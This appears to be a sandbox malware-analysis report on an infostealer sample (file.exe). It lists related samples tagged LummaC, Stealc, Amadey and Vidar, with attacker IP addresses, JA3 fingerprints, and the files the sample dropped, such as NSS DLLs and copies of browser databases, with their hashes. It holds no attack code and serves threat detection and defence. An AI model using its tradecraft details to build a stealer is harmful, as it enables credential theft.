	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	Tygvfe21rw.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	arm6.elf	Get hash	malicious	Mirai, Moobot	Browse	20.3.26.18
	https://qrcodeveloper.com/code/87JgljWuQCR6Oeir	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	Unknown	Browse	20.96.153.111
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	Message_2579691_4.eml	Get hash	malicious	Unknown	Browse	52.109.76.243
	Message_2605357.eml	Get hash	malicious	Unknown	Browse	52.109.68.129
	phish_alert_sp2_2.0.0.0 (6).eml	Get hash	malicious	Unknown	Browse	52.109.28.46
	http://acsltddocu3.technolutionszzzz.net/	Get hash	malicious	Unknown	Browse	20.190.147.2
	https://cdn.microvu.com/downloads/InSpec_2.97.10.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
MIT-GATEWAYSUS	https://qrcodeveloper.com/code/87JgljWuQCR6Oeir	Get hash	malicious	Unknown	Browse	18.165.220.119
	http://res.pdfonestartlive.com	Get hash	malicious	Unknown	Browse	18.66.122.98
	https://acrobat.adobe.com/id/urn:aaid:sc:ap:d4296c11-5949-4c29-8c1d-f6d178ced965	Get hash	malicious	Unknown	Browse	18.66.161.34
	Policy Agreement - Nov24.docx	Get hash	malicious	KnowBe4	Browse	18.165.220.3
	file.exe	Get hash	malicious	Credential Flusher	Browse	18.66.161.67
	file.exe	Get hash	malicious	Credential Flusher	Browse	18.66.161.98
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	19.1.253.51
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	19.191.86.184
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.173.219.113
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	19.5.248.171

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://cdn.prod.website-files.com/65dccdc21b806b929439370e/66e00f5491860971b9b9ef25_80703488528.pdf	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.23.161.164
	https://qrcodeveloper.com/code/87JgljWuQCR6Oeir	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.23.161.164
	http://rfmdocument.technolutionszzzz.net	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.23.161.164
	https://www.google.co.ls/amp/s/2mzptv.s3.us-east-1.amazonaws.com/qr.html	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.23.161.164
	https://myqrcode.mobi/qr/3c3aa5e1/view	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 2.23.161.164
	file.exe	Get hash	malicious	LummaC	Browse	20.109.210.53 13.107.246.63 2.23.161.164
	https://acrobat.adobe.com/id/urn:aaid:sc:ap:d4296c11-5949-4c29-8c1d-f6d178ced965	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.23.161.164
	https://vidrariamortagua.pt/index.php/es/inicio/	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 2.23.161.164
3b5074b1b5d032e5620f69f9f700ff0e	http://cdn.prod.website-files.com/65dccdc21b806b929439370e/66e00f5491860971b9b9ef25_80703488528.pdf	Get hash	malicious	Unknown	Browse	20.198.119.84
	2.ps1	Get hash	malicious	Unknown	Browse	20.198.119.84
	BX9IkWcF80.exe	Get hash	malicious	ScreenConnect Tool	Browse	20.198.119.84
	VKXD1NsFdC.exe	Get hash	malicious	ScreenConnect Tool	Browse	20.198.119.84
	hx0XzDVE1J.exe	Get hash	malicious	ScreenConnect Tool	Browse	20.198.119.84
	PZI8hMQHWg.exe	Get hash	malicious	ScreenConnect Tool	Browse	20.198.119.84
	lIUubnREXh.exe	Get hash	malicious	ScreenConnect Tool	Browse	20.198.119.84
	cFIg55rrfH.exe	Get hash	malicious	ScreenConnect Tool	Browse	20.198.119.84
	hx0XzDVE1J.exe	Get hash	malicious	ScreenConnect Tool	Browse	20.198.119.84
	VKXD1NsFdC.exe	Get hash	malicious	ScreenConnect Tool	Browse	20.198.119.84

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	S0FTWARE.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFBFHDBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.267945757239943
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMKSA1LyKOMq+8iP5GDHP/0jMVumD:Kq+n0JK91LyKOMq+8iP5GLP/0a
MD5:	2A8CE2A941675F9EFB56A5EAD263D4BB
SHA1:	595E8ADFBC0C7989AE72A187C5BE27336B5F9ABB
SHA-256:	6839D95533A99779416C92A5E2B984C8352AAB0B399E8FCB773A5A8C3733E872
SHA-512:	1335195B14B63CEF4DFAEC262042B64CBF9E1B6A03798CF5D2DC653E3B38D55E30E836B03D038A287E293B6B51F1CBDCD090419C7F2C08F791555FA1C0AB1164
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAECFIJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAECFIJDAAAKECBFCGHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKKFIEBKEHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIIEHJKKECGCBFIIJDAKFHJKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDAKJDHIEBFIIDGDGDBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IDGDAAKFHIEHIECAFBAAEBKFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: S0FTWARE.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\04c2bd82-0186-45d2-aef6-f91732404309.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46211
Entropy (8bit):	6.087147068988612
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc589y7WBi1zNtL4pkyQm1vaiADEk2Ff07ZWCionJDSgzMMd6qD473:mMk1rT8Hk9M4hy2pLFontSmd6qE73
MD5:	6C9CB74AB5C321D3379D437FF762CE52
SHA1:	A9A0F16E5CCB3E0ED93C538853790720E5507409
SHA-256:	23654271E4ED06D474C7D132FE5620E31FFA16CDEA26FCC3D800C9ED71BCDBA7
SHA-512:	839AE82B703FED5B287B298550235C1AEC372C5B71664DF9A9A37EED41748403116955DCCCF279D3273086D3045313F0E8D1B34A2D9871E6CA641FB695ACFE82
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376756622732693","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"3c1b890b-d10a-431a-a32f-6741b226bb89"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732283026"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\06a0b901-0d07-4b62-920c-4081eab12cab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44976
Entropy (8bit):	6.095187605088515
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWP7ii1zNtL4pkyJ9m1vaiADEkKJDSgzMMd6qD47u3S:+/Ps+wsI7yOw4hJ7KtSmd6qE7lFoC
MD5:	F05B183EFBCCC84C38EE8FC6DB8B7A62
SHA1:	EB9ACF50769893365935A88D977FA2154A9A62C5
SHA-256:	769345BD455C6C6D4665572FE243123DAB9E1F2823864CC33254A451D73FCE5F
SHA-512:	69C1C0944444B41336257D0E40B5758AAA71D1893FDA1F4EA60059C8712D5E9306BAA557CF6A55112BEB26FBC0844A1B3184CDF18E12067CF4D6AA9CB88A0216
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\25a4a503-02b4-4c86-9ac4-3e98e52c1dc2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44894
Entropy (8bit):	6.095219261033998
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMii1zNtL4pkyJNWzGnX3NyKJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynL4hJAKtSmd6qE7lFoC
MD5:	6E14354A360C8BA7BE2384DD881B570B
SHA1:	D77450F83D2CE2E84F253C657033FF47C557817B
SHA-256:	86120E2A954B63F1DED9EA14C38C3FCED9F1C14DB4CE6885BE123863F2963F64
SHA-512:	23A6C77F67BE83FDABD2EF441E8BAB33B98495AA1A4D6B0FE1F45DD3372860EFAC2C9913AB9936CB31835095C2CF6B4B0BA235D53E081904A9C068496C6A78F5
Malicious:	false
